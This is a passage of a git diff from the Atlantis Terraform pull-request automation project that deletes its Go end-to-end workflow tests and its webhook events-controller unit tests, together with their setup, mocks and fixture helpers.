comments on the pull request that the repo is not -// allowlisted unless allowlist error comments are disabled. -func (e *EventsController) commentNotAllowlisted(baseRepo models.Repo, pullNum int) { - if e.SilenceAllowlistErrors { - return - } - - errMsg := "```\nError: This repo is not allowlisted for Atlantis.\n```" - if err := e.VCSClient.CreateComment(baseRepo, pullNum, errMsg, ""); err != nil { - e.Logger.Err("unable to comment on pull request: %s", err) - } -} diff --git a/server/events_controller_e2e_test.go b/server/events_controller_e2e_test.go deleted file mode 100644 index d3f51d9735..0000000000 --- a/server/events_controller_e2e_test.go +++ /dev/null @@ -1,732 +0,0 @@ -package server_test - -import ( - "bytes" - "fmt" - "io/ioutil" - "net/http" - "net/http/httptest" - "os" - "os/exec" - "path/filepath" - "regexp" - "strings" - "testing" - - "github.com/google/go-github/v31/github" - "github.com/hashicorp/go-getter" - "github.com/hashicorp/go-version" - . "github.com/petergtz/pegomock" - "github.com/runatlantis/atlantis/server" - "github.com/runatlantis/atlantis/server/events" - "github.com/runatlantis/atlantis/server/events/db" - "github.com/runatlantis/atlantis/server/events/locking" - "github.com/runatlantis/atlantis/server/events/mocks" - "github.com/runatlantis/atlantis/server/events/mocks/matchers" - "github.com/runatlantis/atlantis/server/events/models" - "github.com/runatlantis/atlantis/server/events/runtime" - "github.com/runatlantis/atlantis/server/events/terraform" - vcsmocks "github.com/runatlantis/atlantis/server/events/vcs/mocks" - "github.com/runatlantis/atlantis/server/events/webhooks" - "github.com/runatlantis/atlantis/server/events/yaml" - "github.com/runatlantis/atlantis/server/events/yaml/valid" - "github.com/runatlantis/atlantis/server/logging" - . "github.com/runatlantis/atlantis/testing" -) - -type NoopTFDownloader struct{} - -func (m *NoopTFDownloader) GetFile(dst, src string, opts ...getter.ClientOption) error { - return nil -} - -func TestGitHubWorkflow(t *testing.T) { - if testing.Short() { - t.SkipNow() - } - // Ensure we have >= TF 0.12 locally. - ensureRunning012(t) - - cases := []struct { - Description string - // RepoDir is relative to testfixtures/test-repos. - RepoDir string - // ModifiedFiles are the list of files that have been modified in this - // pull request. - ModifiedFiles []string - // Comments are what our mock user writes to the pull request. - Comments []string - // ExpAutomerge is true if we expect Atlantis to automerge. - ExpAutomerge bool - // ExpAutoplan is true if we expect Atlantis to autoplan. - ExpAutoplan bool - // ExpParallel is true if we expect Atlantis to run parallel plans or applies. - ExpParallel bool - // ExpReplies is a list of files containing the expected replies that - // Atlantis writes to the pull request in order. A reply from a parallel operation - // will be matched using a substring check. - ExpReplies [][]string - }{ - { - Description: "simple", - RepoDir: "simple", - ModifiedFiles: []string{"main.tf"}, - Comments: []string{ - "atlantis apply", - }, - ExpReplies: [][]string{ - {"exp-output-autoplan.txt"}, - {"exp-output-apply.txt"}, - {"exp-output-merge.txt"}, - }, - ExpAutoplan: true, - }, - { - Description: "simple with plan comment", - RepoDir: "simple", - ModifiedFiles: []string{"main.tf"}, - ExpAutoplan: true, - Comments: []string{ - "atlantis plan", - "atlantis apply", - }, - ExpReplies: [][]string{ - {"exp-output-autoplan.txt"}, - {"exp-output-autoplan.txt"}, - {"exp-output-apply.txt"}, - {"exp-output-merge.txt"}, - }, - }, - { - Description: "simple with comment -var", - RepoDir: "simple", - ModifiedFiles: []string{"main.tf"}, - ExpAutoplan: true, - Comments: []string{ - "atlantis plan -- -var var=overridden", - "atlantis apply", - }, - ExpReplies: [][]string{ - {"exp-output-autoplan.txt"}, - {"exp-output-atlantis-plan-var-overridden.txt"}, - {"exp-output-apply-var.txt"}, - {"exp-output-merge.txt"}, - }, - }, - { - Description: "simple with workspaces", - RepoDir: "simple", - ModifiedFiles: []string{"main.tf"}, - ExpAutoplan: true, - Comments: []string{ - "atlantis plan -- -var var=default_workspace", - "atlantis plan -w new_workspace -- -var var=new_workspace", - "atlantis apply -w default", - "atlantis apply -w new_workspace", - }, - ExpReplies: [][]string{ - {"exp-output-autoplan.txt"}, - {"exp-output-atlantis-plan.txt"}, - {"exp-output-atlantis-plan-new-workspace.txt"}, - {"exp-output-apply-var-default-workspace.txt"}, - {"exp-output-apply-var-new-workspace.txt"}, - {"exp-output-merge-workspaces.txt"}, - }, - }, - { - Description: "simple with workspaces and apply all", - RepoDir: "simple", - ModifiedFiles: []string{"main.tf"}, - ExpAutoplan: true, - Comments: []string{ - "atlantis plan -- -var var=default_workspace", - "atlantis plan -w new_workspace -- -var var=new_workspace", - "atlantis apply", - }, - ExpReplies: [][]string{ - {"exp-output-autoplan.txt"}, - {"exp-output-atlantis-plan.txt"}, - {"exp-output-atlantis-plan-new-workspace.txt"}, - {"exp-output-apply-var-all.txt"}, - {"exp-output-merge-workspaces.txt"}, - }, - }, - { - Description: "simple with atlantis.yaml", - RepoDir: "simple-yaml", - ModifiedFiles: []string{"main.tf"}, - ExpAutoplan: true, - Comments: []string{ - "atlantis apply -w staging", - "atlantis apply -w default", - }, - ExpReplies: [][]string{ - {"exp-output-autoplan.txt"}, - {"exp-output-apply-staging.txt"}, - {"exp-output-apply-default.txt"}, - {"exp-output-merge.txt"}, - }, - }, - { - Description: "simple with atlantis.yaml and apply all", - RepoDir: "simple-yaml", - ModifiedFiles: []string{"main.tf"}, - ExpAutoplan: true, - Comments: []string{ - "atlantis apply", - }, - ExpReplies: [][]string{ - {"exp-output-autoplan.txt"}, - {"exp-output-apply-all.txt"}, - {"exp-output-merge.txt"}, - }, - }, - { - Description: "simple with atlantis.yaml and plan/apply all", - RepoDir: "simple-yaml", - ModifiedFiles: []string{"main.tf"}, - ExpAutoplan: true, - Comments: []string{ - "atlantis plan", - "atlantis apply", - }, - ExpReplies: [][]string{ - {"exp-output-autoplan.txt"}, - {"exp-output-autoplan.txt"}, - {"exp-output-apply-all.txt"}, - {"exp-output-merge.txt"}, - }, - }, - { - Description: "modules staging only", - RepoDir: "modules", - ModifiedFiles: []string{"staging/main.tf"}, - ExpAutoplan: true, - Comments: []string{ - "atlantis apply -d staging", - }, - ExpReplies: [][]string{ - {"exp-output-autoplan-only-staging.txt"}, - {"exp-output-apply-staging.txt"}, - {"exp-output-merge-only-staging.txt"}, - }, - }, - { - Description: "modules modules only", - RepoDir: "modules", - ModifiedFiles: []string{"modules/null/main.tf"}, - ExpAutoplan: false, - Comments: []string{ - "atlantis plan -d staging", - "atlantis plan -d production", - "atlantis apply -d staging", - "atlantis apply -d production", - }, - ExpReplies: [][]string{ - {"exp-output-plan-staging.txt"}, - {"exp-output-plan-production.txt"}, - {"exp-output-apply-staging.txt"}, - {"exp-output-apply-production.txt"}, - {"exp-output-merge-all-dirs.txt"}, - }, - }, - { - Description: "modules-yaml", - RepoDir: "modules-yaml", - ModifiedFiles: []string{"modules/null/main.tf"}, - ExpAutoplan: true, - Comments: []string{ - "atlantis apply -d staging", - "atlantis apply -d production", - }, - ExpReplies: [][]string{ - {"exp-output-autoplan.txt"}, - {"exp-output-apply-staging.txt"}, - {"exp-output-apply-production.txt"}, - {"exp-output-merge.txt"}, - }, - }, - { - Description: "tfvars-yaml", - RepoDir: "tfvars-yaml", - ModifiedFiles: []string{"main.tf"}, - ExpAutoplan: true, - Comments: []string{ - "atlantis apply -p staging", - "atlantis apply -p default", - }, - ExpReplies: [][]string{ - {"exp-output-autoplan.txt"}, - {"exp-output-apply-staging.txt"}, - {"exp-output-apply-default.txt"}, - {"exp-output-merge.txt"}, - }, - }, - { - Description: "tfvars no autoplan", - RepoDir: "tfvars-yaml-no-autoplan", - ModifiedFiles: []string{"main.tf"}, - ExpAutoplan: false, - Comments: []string{ - "atlantis plan -p staging", - "atlantis plan -p default", - "atlantis apply -p staging", - "atlantis apply -p default", - }, - ExpReplies: [][]string{ - {"exp-output-plan-staging.txt"}, - {"exp-output-plan-default.txt"}, - {"exp-output-apply-staging.txt"}, - {"exp-output-apply-default.txt"}, - {"exp-output-merge.txt"}, - }, - }, - { - Description: "automerge", - RepoDir: "automerge", - ExpAutomerge: true, - ExpAutoplan: true, - ModifiedFiles: []string{"dir1/main.tf", "dir2/main.tf"}, - Comments: []string{ - "atlantis apply -d dir1", - "atlantis apply -d dir2", - }, - ExpReplies: [][]string{ - {"exp-output-autoplan.txt"}, - {"exp-output-apply-dir1.txt"}, - {"exp-output-apply-dir2.txt"}, - {"exp-output-automerge.txt"}, - {"exp-output-merge.txt"}, - }, - }, - { - Description: "server-side cfg", - RepoDir: "server-side-cfg", - ExpAutomerge: false, - ExpAutoplan: true, - ModifiedFiles: []string{"main.tf"}, - Comments: []string{ - "atlantis apply -w staging", - "atlantis apply -w default", - }, - ExpReplies: [][]string{ - {"exp-output-autoplan.txt"}, - {"exp-output-apply-staging-workspace.txt"}, - {"exp-output-apply-default-workspace.txt"}, - {"exp-output-merge.txt"}, - }, - }, - { - Description: "workspaces parallel with atlantis.yaml", - RepoDir: "workspace-parallel-yaml", - ModifiedFiles: []string{"production/main.tf", "staging/main.tf"}, - ExpAutoplan: true, - ExpParallel: true, - Comments: []string{ - "atlantis apply", - }, - ExpReplies: [][]string{ - {"exp-output-autoplan-staging.txt", "exp-output-autoplan-production.txt"}, - {"exp-output-apply-all-staging.txt", "exp-output-apply-all-production.txt"}, - {"exp-output-merge.txt"}, - }, - }, - } - for _, c := range cases { - t.Run(c.Description, func(t *testing.T) { - RegisterMockTestingT(t) - - ctrl, vcsClient, githubGetter, atlantisWorkspace := setupE2E(t, c.RepoDir) - // Set the repo to be cloned through the testing backdoor. - repoDir, headSHA, cleanup := initializeRepo(t, c.RepoDir) - defer cleanup() - atlantisWorkspace.TestingOverrideHeadCloneURL = fmt.Sprintf("file://%s", repoDir) - - // Setup test dependencies. - w := httptest.NewRecorder() - When(githubGetter.GetPullRequest(AnyRepo(), AnyInt())).ThenReturn(GitHubPullRequestParsed(headSHA), nil) - When(vcsClient.GetModifiedFiles(AnyRepo(), matchers.AnyModelsPullRequest())).ThenReturn(c.ModifiedFiles, nil) - - // First, send the open pull request event which triggers autoplan. - pullOpenedReq := GitHubPullRequestOpenedEvent(t, headSHA) - ctrl.Post(w, pullOpenedReq) - responseContains(t, w, 200, "Processing...") - - // Now send any other comments. - for _, comment := range c.Comments { - commentReq := GitHubCommentEvent(t, comment) - w = httptest.NewRecorder() - ctrl.Post(w, commentReq) - responseContains(t, w, 200, "Processing...") - } - - // Send the "pull closed" event which would be triggered by the - // automerge or a manual merge. - pullClosedReq := GitHubPullRequestClosedEvent(t) - w = httptest.NewRecorder() - ctrl.Post(w, pullClosedReq) - responseContains(t, w, 200, "Pull request cleaned successfully") - - // Now we're ready to verify Atlantis made all the comments back - // (or replies) that we expect. - // We expect replies for each comment plus one for the locks deleted - // at the end. - expNumReplies := len(c.Comments) + 1 - if c.ExpAutoplan { - expNumReplies++ - } - if c.ExpAutomerge { - expNumReplies++ - } - - _, _, actReplies, _ := vcsClient.VerifyWasCalled(Times(expNumReplies)).CreateComment(AnyRepo(), AnyInt(), AnyString(), AnyString()).GetAllCapturedArguments() - Assert(t, len(c.ExpReplies) == len(actReplies), "missing expected replies, got %d but expected %d", len(actReplies), len(c.ExpReplies)) - for i, expReply := range c.ExpReplies { - assertCommentEquals(t, expReply, actReplies[i], c.RepoDir, c.ExpParallel) - } - - if c.ExpAutomerge { - // Verify that the merge API call was made. - vcsClient.VerifyWasCalledOnce().MergePull(matchers.AnyModelsPullRequest()) - } else { - vcsClient.VerifyWasCalled(Never()).MergePull(matchers.AnyModelsPullRequest()) - } - }) - } -} - -func setupE2E(t *testing.T, repoDir string) (server.EventsController, *vcsmocks.MockClient, *mocks.MockGithubPullGetter, *events.FileWorkspace) { - allowForkPRs := false - dataDir, cleanup := TempDir(t) - defer cleanup() - - // Mocks. - e2eVCSClient := vcsmocks.NewMockClient() - e2eStatusUpdater := &events.DefaultCommitStatusUpdater{Client: e2eVCSClient} - e2eGithubGetter := mocks.NewMockGithubPullGetter() - e2eGitlabGetter := mocks.NewMockGitlabMergeRequestGetter() - - // Real dependencies. - logger := logging.NewSimpleLogger("server", true, logging.Debug) - eventParser := &events.EventParser{ - GithubUser: "github-user", - GithubToken: "github-token", - GitlabUser: "gitlab-user", - GitlabToken: "gitlab-token", - } - commentParser := &events.CommentParser{ - GithubUser: "github-user", - GitlabUser: "gitlab-user", - } - terraformClient, err := terraform.NewClient(logger, dataDir, "", "", "", "default-tf-version", "https://releases.hashicorp.com", &NoopTFDownloader{}, false) - Ok(t, err) - boltdb, err := db.New(dataDir) - Ok(t, err) - lockingClient := locking.NewClient(boltdb) - projectLocker := &events.DefaultProjectLocker{ - Locker: lockingClient, - VCSClient: e2eVCSClient, - } - workingDir := &events.FileWorkspace{ - DataDir: dataDir, - TestingOverrideHeadCloneURL: "override-me", - } - - defaultTFVersion := terraformClient.DefaultVersion() - locker := events.NewDefaultWorkingDirLocker() - parser := &yaml.ParserValidator{} - globalCfg := valid.NewGlobalCfg(true, false, false) - expCfgPath := filepath.Join(absRepoPath(t, repoDir), "repos.yaml") - if _, err := os.Stat(expCfgPath); err == nil { - globalCfg, err = parser.ParseGlobalCfg(expCfgPath, globalCfg) - Ok(t, err) - } - drainer := &events.Drainer{} - commandRunner := &events.DefaultCommandRunner{ - ProjectCommandRunner: &events.DefaultProjectCommandRunner{ - Locker: projectLocker, - LockURLGenerator: &mockLockURLGenerator{}, - InitStepRunner: &runtime.InitStepRunner{ - TerraformExecutor: terraformClient, - DefaultTFVersion: defaultTFVersion, - }, - PlanStepRunner: &runtime.PlanStepRunner{ - TerraformExecutor: terraformClient, - DefaultTFVersion: defaultTFVersion, - }, - ApplyStepRunner: &runtime.ApplyStepRunner{ - TerraformExecutor: terraformClient, - }, - RunStepRunner: &runtime.RunStepRunner{ - TerraformExecutor: terraformClient, - DefaultTFVersion: defaultTFVersion, - }, - PullApprovedChecker: e2eVCSClient, - WorkingDir: workingDir, - Webhooks: &mockWebhookSender{}, - WorkingDirLocker: locker, - }, - EventParser: eventParser, - VCSClient: e2eVCSClient, - GithubPullGetter: e2eGithubGetter, - GitlabMergeRequestGetter: e2eGitlabGetter, - CommitStatusUpdater: e2eStatusUpdater, - MarkdownRenderer: &events.MarkdownRenderer{}, - Logger: logger, - AllowForkPRs: allowForkPRs, - AllowForkPRsFlag: "allow-fork-prs", - ProjectCommandBuilder: &events.DefaultProjectCommandBuilder{ - ParserValidator: parser, - ProjectFinder: &events.DefaultProjectFinder{}, - VCSClient: e2eVCSClient, - WorkingDir: workingDir, - WorkingDirLocker: locker, - PendingPlanFinder: &events.DefaultPendingPlanFinder{}, - CommentBuilder: commentParser, - GlobalCfg: globalCfg, - SkipCloneNoChanges: false, - }, - DB: boltdb, - PendingPlanFinder: &events.DefaultPendingPlanFinder{}, - GlobalAutomerge: false, - WorkingDir: workingDir, - Drainer: drainer, - } - - repoAllowlistChecker, err := events.NewRepoAllowlistChecker("*") - Ok(t, err) - - ctrl := server.EventsController{ - TestingMode: true, - CommandRunner: commandRunner, - PullCleaner: &events.PullClosedExecutor{ - Locker: lockingClient, - VCSClient: e2eVCSClient, - WorkingDir: workingDir, - DB: boltdb, - }, - Logger: logger, - Parser: eventParser, - CommentParser: commentParser, - GithubWebhookSecret: nil, - GithubRequestValidator: &server.DefaultGithubRequestValidator{}, - GitlabRequestParserValidator: &server.DefaultGitlabRequestParserValidator{}, - GitlabWebhookSecret: nil, - RepoAllowlistChecker: repoAllowlistChecker, - SupportedVCSHosts: []models.VCSHostType{models.Gitlab, models.Github, models.BitbucketCloud}, - VCSClient: e2eVCSClient, - } - return ctrl, e2eVCSClient, e2eGithubGetter, workingDir -} - -type mockLockURLGenerator struct{} - -func (m *mockLockURLGenerator) GenerateLockURL(lockID string) string { - return "lock-url" -} - -type mockWebhookSender struct{} - -func (w *mockWebhookSender) Send(log *logging.SimpleLogger, result webhooks.ApplyResult) error { - return nil -} - -func GitHubCommentEvent(t *testing.T, comment string) *http.Request { - requestJSON, err := ioutil.ReadFile(filepath.Join("testfixtures", "githubIssueCommentEvent.json")) - Ok(t, err) - requestJSON = []byte(strings.Replace(string(requestJSON), "###comment body###", comment, 1)) - req, err := http.NewRequest("POST", "/events", bytes.NewBuffer(requestJSON)) - Ok(t, err) - req.Header.Set("Content-Type", "application/json") - req.Header.Set(githubHeader, "issue_comment") - return req -} - -func GitHubPullRequestOpenedEvent(t *testing.T, headSHA string) *http.Request { - requestJSON, err := ioutil.ReadFile(filepath.Join("testfixtures", "githubPullRequestOpenedEvent.json")) - Ok(t, err) - // Replace sha with expected sha. - requestJSONStr := strings.Replace(string(requestJSON), "c31fd9ea6f557ad2ea659944c3844a059b83bc5d", headSHA, -1) - req, err := http.NewRequest("POST", "/events", bytes.NewBuffer([]byte(requestJSONStr))) - Ok(t, err) - req.Header.Set("Content-Type", "application/json") - req.Header.Set(githubHeader, "pull_request") - return req -} - -func GitHubPullRequestClosedEvent(t *testing.T) *http.Request { - requestJSON, err := ioutil.ReadFile(filepath.Join("testfixtures", "githubPullRequestClosedEvent.json")) - Ok(t, err) - req, err := http.NewRequest("POST", "/events", bytes.NewBuffer(requestJSON)) - Ok(t, err) - req.Header.Set("Content-Type", "application/json") - req.Header.Set(githubHeader, "pull_request") - return req -} - -func GitHubPullRequestParsed(headSHA string) *github.PullRequest { - // headSHA can't be empty so default if not set. - if headSHA == "" { - headSHA = "13940d121be73f656e2132c6d7b4c8e87878ac8d" - } - return &github.PullRequest{ - Number: github.Int(2), - State: github.String("open"), - HTMLURL: github.String("htmlurl"), - Head: &github.PullRequestBranch{ - Repo: &github.Repository{ - FullName: github.String("runatlantis/atlantis-tests"), - CloneURL: github.String("https://github.com/runatlantis/atlantis-tests.git"), - }, - SHA: github.String(headSHA), - Ref: github.String("branch"), - }, - Base: &github.PullRequestBranch{ - Repo: &github.Repository{ - FullName: github.String("runatlantis/atlantis-tests"), - CloneURL: github.String("https://github.com/runatlantis/atlantis-tests.git"), - }, - Ref: github.String("master"), - }, - User: &github.User{ - Login: github.String("atlantisbot"), - }, - } -} - -// absRepoPath returns the absolute path to the test repo under dir repoDir. -func absRepoPath(t *testing.T, repoDir string) string { - path, err := filepath.Abs(filepath.Join("testfixtures", "test-repos", repoDir)) - Ok(t, err) - return path -} - -// initializeRepo copies the repo data from testfixtures and initializes a new -// git repo in a temp directory. It returns that directory and a function -// to run in a defer that will delete the dir. -// The purpose of this function is to create a real git repository with a branch -// called 'branch' from the files under repoDir. This is so we can check in -// those files normally to this repo without needing a .git directory. -func initializeRepo(t *testing.T, repoDir string) (string, string, func()) { - originRepo := absRepoPath(t, repoDir) - - // Copy the files to the temp dir. - destDir, cleanup := TempDir(t) - runCmd(t, "", "cp", "-r", fmt.Sprintf("%s/.", originRepo), destDir) - - // Initialize the git repo. - runCmd(t, destDir, "git", "init") - runCmd(t, destDir, "touch", ".gitkeep") - runCmd(t, destDir, "git", "add", ".gitkeep") - runCmd(t, destDir, "git", "config", "--local", "user.email", "atlantisbot@runatlantis.io") - runCmd(t, destDir, "git", "config", "--local", "user.name", "atlantisbot") - runCmd(t, destDir, "git", "commit", "-m", "initial commit") - runCmd(t, destDir, "git", "checkout", "-b", "branch") - runCmd(t, destDir, "git", "add", ".") - runCmd(t, destDir, "git", "commit", "-am", "branch commit") - headSHA := runCmd(t, destDir, "git", "rev-parse", "HEAD") - headSHA = strings.Trim(headSHA, "\n") - - return destDir, headSHA, cleanup -} - -func runCmd(t *testing.T, dir string, name string, args ...string) string { - cpCmd := exec.Command(name, args...) - cpCmd.Dir = dir - cpOut, err := cpCmd.CombinedOutput() - Assert(t, err == nil, "err running %q: %s", strings.Join(append([]string{name}, args...), " "), cpOut) - return string(cpOut) -} - -func assertCommentEquals(t *testing.T, expReplies []string, act string, repoDir string, parallel bool) { - t.Helper() - - // Replace all 'Creation complete after 0s [id=2135833172528078362]' strings with - // 'Creation complete after *s [id=*******************]' so we can do a comparison. - idRegex := regexp.MustCompile(`Creation complete after [0-9]+s \[id=[0-9]+]`) - act = idRegex.ReplaceAllString(act, "Creation complete after *s [id=*******************]") - - // Replace all null_resource.simple{n}: .* with null_resource.simple: because - // with multiple resources being created the logs are all out of order which - // makes comparison impossible. - resourceRegex := regexp.MustCompile(`null_resource\.simple(\[\d])?\d?:.*`) - act = resourceRegex.ReplaceAllString(act, "null_resource.simple:") - - // For parallel plans and applies, do a substring match since output may be out of order - var replyMatchesExpected func(string, string) bool - if parallel { - replyMatchesExpected = func(act string, expStr string) bool { - return strings.Contains(act, expStr) - } - } else { - replyMatchesExpected = func(act string, expStr string) bool { - return expStr == act - } - } - - for _, expFile := range expReplies { - exp, err := ioutil.ReadFile(filepath.Join(absRepoPath(t, repoDir), expFile)) - Ok(t, err) - expStr := string(exp) - // My editor adds a newline to all the files, so if the actual comment - // doesn't end with a newline then strip the last newline from the file's - // contents. - if !strings.HasSuffix(act, "\n") { - expStr = strings.TrimSuffix(expStr, "\n") - } - - if !replyMatchesExpected(act, expStr) { - // If in CI, we write the diff to the console. Otherwise we write the diff - // to file so we can use our local diff viewer. - if os.Getenv("CI") == "true" { - t.Logf("exp: %s, got: %s", expStr, act) - t.FailNow() - } else { - actFile := filepath.Join(absRepoPath(t, repoDir), expFile+".act") - err := ioutil.WriteFile(actFile, []byte(act), 0600) - Ok(t, err) - cwd, err := os.Getwd() - Ok(t, err) - rel, err := filepath.Rel(cwd, actFile) - Ok(t, err) - t.Errorf("%q was different, wrote actual comment to %q", expFile, rel) - } - } - } -} - -// Will fail test if terraform isn't in path and isn't version >= 0.12 -func ensureRunning012(t *testing.T) { - localPath, err := exec.LookPath("terraform") - if err != nil { - t.Log("terraform >= 0.12 must be installed to run this test") - t.FailNow() - } - versionOutBytes, err := exec.Command(localPath, "version").Output() // #nosec - if err != nil { - t.Logf("error running terraform version: %s", err) - t.FailNow() - } - versionOutput := string(versionOutBytes) - match := versionRegex.FindStringSubmatch(versionOutput) - if len(match) <= 1 { - t.Logf("could not parse terraform version from %s", versionOutput) - t.FailNow() - } - localVersion, err := version.NewVersion(match[1]) - Ok(t, err) - minVersion, err := version.NewVersion("0.12.0") - Ok(t, err) - if localVersion.LessThan(minVersion) { - t.Logf("must have terraform version >= %s, you have %s", minVersion, localVersion) - t.FailNow() - } -} - -// versionRegex extracts the version from `terraform version` output. -// Terraform v0.12.0-alpha4 (2c36829d3265661d8edbd5014de8090ea7e2a076) -// => 0.12.0-alpha4 -// -// Terraform v0.11.10 -// => 0.11.10 -var versionRegex = regexp.MustCompile("Terraform v(.*?)(\\s.*)?\n") diff --git a/server/events_controller_test.go b/server/events_controller_test.go deleted file mode 100644 index fb50c102d8..0000000000 --- a/server/events_controller_test.go +++ /dev/null @@ -1,767 +0,0 @@ -// Copyright 2017 HootSuite Media Inc. -// -// Licensed under the Apache License, Version 2.0 (the License); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// http://www.apache.org/licenses/LICENSE-2.0 -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an AS IS BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// Modified hereafter by contributors to runatlantis/atlantis. - -package server_test - -import ( - "bytes" - "errors" - "fmt" - "io/ioutil" - "net/http" - "net/http/httptest" - "path/filepath" - "strings" - "testing" - - . "github.com/petergtz/pegomock" - "github.com/runatlantis/atlantis/server" - "github.com/runatlantis/atlantis/server/events" - emocks "github.com/runatlantis/atlantis/server/events/mocks" - "github.com/runatlantis/atlantis/server/events/mocks/matchers" - "github.com/runatlantis/atlantis/server/events/models" - vcsmocks "github.com/runatlantis/atlantis/server/events/vcs/mocks" - "github.com/runatlantis/atlantis/server/logging" - "github.com/runatlantis/atlantis/server/mocks" - . "github.com/runatlantis/atlantis/testing" - gitlab "github.com/xanzy/go-gitlab" -) - -const githubHeader = "X-Github-Event" -const gitlabHeader = "X-Gitlab-Event" -const azuredevopsHeader = "Request-Id" - -var secret = []byte("secret") - -func TestPost_NotGithubOrGitlab(t *testing.T) { - t.Log("when the request is not for gitlab or github a 400 is returned") - e, _, _, _, _, _, _, _ := setup(t) - w := httptest.NewRecorder() - req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) - e.Post(w, req) - responseContains(t, w, http.StatusBadRequest, "Ignoring request") -} - -func TestPost_UnsupportedVCSGithub(t *testing.T) { - t.Log("when the request is for an unsupported vcs a 400 is returned") - e, _, _, _, _, _, _, _ := setup(t) - e.SupportedVCSHosts = nil - req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) - req.Header.Set(githubHeader, "value") - w := httptest.NewRecorder() - e.Post(w, req) - responseContains(t, w, http.StatusBadRequest, "Ignoring request since not configured to support GitHub") -} - -func TestPost_UnsupportedVCSGitlab(t *testing.T) { - t.Log("when the request is for an unsupported vcs a 400 is returned") - e, _, _, _, _, _, _, _ := setup(t) - e.SupportedVCSHosts = nil - req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) - req.Header.Set(gitlabHeader, "value") - w := httptest.NewRecorder() - e.Post(w, req) - responseContains(t, w, http.StatusBadRequest, "Ignoring request since not configured to support GitLab") -} - -func TestPost_InvalidGithubSecret(t *testing.T) { - t.Log("when the github payload can't be validated a 400 is returned") - e, v, _, _, _, _, _, _ := setup(t) - w := httptest.NewRecorder() - req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) - req.Header.Set(githubHeader, "value") - When(v.Validate(req, secret)).ThenReturn(nil, errors.New("err")) - e.Post(w, req) - responseContains(t, w, http.StatusBadRequest, "err") -} - -func TestPost_InvalidGitlabSecret(t *testing.T) { - t.Log("when the gitlab payload can't be validated a 400 is returned") - e, _, gl, _, _, _, _, _ := setup(t) - w := httptest.NewRecorder() - req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) - req.Header.Set(gitlabHeader, "value") - When(gl.ParseAndValidate(req, secret)).ThenReturn(nil, errors.New("err")) - e.Post(w, req) - responseContains(t, w, http.StatusBadRequest, "err") -} - -func TestPost_UnsupportedGithubEvent(t *testing.T) { - t.Log("when the event type is an unsupported github event we ignore it") - e, v, _, _, _, _, _, _ := setup(t) - w := httptest.NewRecorder() - req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) - req.Header.Set(githubHeader, "value") - When(v.Validate(req, nil)).ThenReturn([]byte(`{"not an event": ""}`), nil) - e.Post(w, req) - responseContains(t, w, http.StatusOK, "Ignoring unsupported event") -} - -func TestPost_UnsupportedGitlabEvent(t *testing.T) { - t.Log("when the event type is an unsupported gitlab event we ignore it") - e, _, gl, _, _, _, _, _ := setup(t) - w := httptest.NewRecorder() - req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) - req.Header.Set(gitlabHeader, "value") - When(gl.ParseAndValidate(req, secret)).ThenReturn([]byte(`{"not an event": ""}`), nil) - e.Post(w, req) - responseContains(t, w, http.StatusOK, "Ignoring unsupported event") -} - -// Test that if the comment comes from a commit rather than a merge request, -// we give an error and ignore it. -func TestPost_GitlabCommentOnCommit(t *testing.T) { - e, _, gl, _, _, _, _, _ := setup(t) - req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) - w := httptest.NewRecorder() - req.Header.Set(gitlabHeader, "value") - When(gl.ParseAndValidate(req, secret)).ThenReturn(gitlab.CommitCommentEvent{}, nil) - e.Post(w, req) - responseContains(t, w, http.StatusOK, "Ignoring comment on commit event") -} - -func TestPost_GithubCommentNotCreated(t *testing.T) { - t.Log("when the event is a github comment but it's not a created event we ignore it") - e, v, _, _, _, _, _, _ := setup(t) - req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) - req.Header.Set(githubHeader, "issue_comment") - // comment action is deleted, not created - event := `{"action": "deleted"}` - When(v.Validate(req, secret)).ThenReturn([]byte(event), nil) - w := httptest.NewRecorder() - e.Post(w, req) - responseContains(t, w, http.StatusOK, "Ignoring comment event since action was not created") -} - -func TestPost_GithubInvalidComment(t *testing.T) { - t.Log("when the event is a github comment without all expected data we return a 400") - e, v, _, p, _, _, _, _ := setup(t) - req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) - req.Header.Set(githubHeader, "issue_comment") - event := `{"action": "created"}` - When(v.Validate(req, secret)).ThenReturn([]byte(event), nil) - When(p.ParseGithubIssueCommentEvent(matchers.AnyPtrToGithubIssueCommentEvent())).ThenReturn(models.Repo{}, models.User{}, 1, errors.New("err")) - w := httptest.NewRecorder() - e.Post(w, req) - responseContains(t, w, http.StatusBadRequest, "Failed parsing event") -} - -func TestPost_GitlabCommentInvalidCommand(t *testing.T) { - t.Log("when the event is a gitlab comment with an invalid command we ignore it") - e, _, gl, _, _, _, _, cp := setup(t) - req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) - req.Header.Set(gitlabHeader, "value") - When(gl.ParseAndValidate(req, secret)).ThenReturn(gitlab.MergeCommentEvent{}, nil) - When(cp.Parse("", models.Gitlab)).ThenReturn(events.CommentParseResult{Ignore: true}) - w := httptest.NewRecorder() - e.Post(w, req) - responseContains(t, w, http.StatusOK, "Ignoring non-command comment: \"\"") -} - -func TestPost_GithubCommentInvalidCommand(t *testing.T) { - t.Log("when the event is a github comment with an invalid command we ignore it") - e, v, _, p, _, _, _, cp := setup(t) - req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) - req.Header.Set(githubHeader, "issue_comment") - event := `{"action": "created"}` - When(v.Validate(req, secret)).ThenReturn([]byte(event), nil) - When(p.ParseGithubIssueCommentEvent(matchers.AnyPtrToGithubIssueCommentEvent())).ThenReturn(models.Repo{}, models.User{}, 1, nil) - When(cp.Parse("", models.Github)).ThenReturn(events.CommentParseResult{Ignore: true}) - w := httptest.NewRecorder() - e.Post(w, req) - responseContains(t, w, http.StatusOK, "Ignoring non-command comment: \"\"") -} - -func TestPost_GitlabCommentNotAllowlisted(t *testing.T) { - t.Log("when the 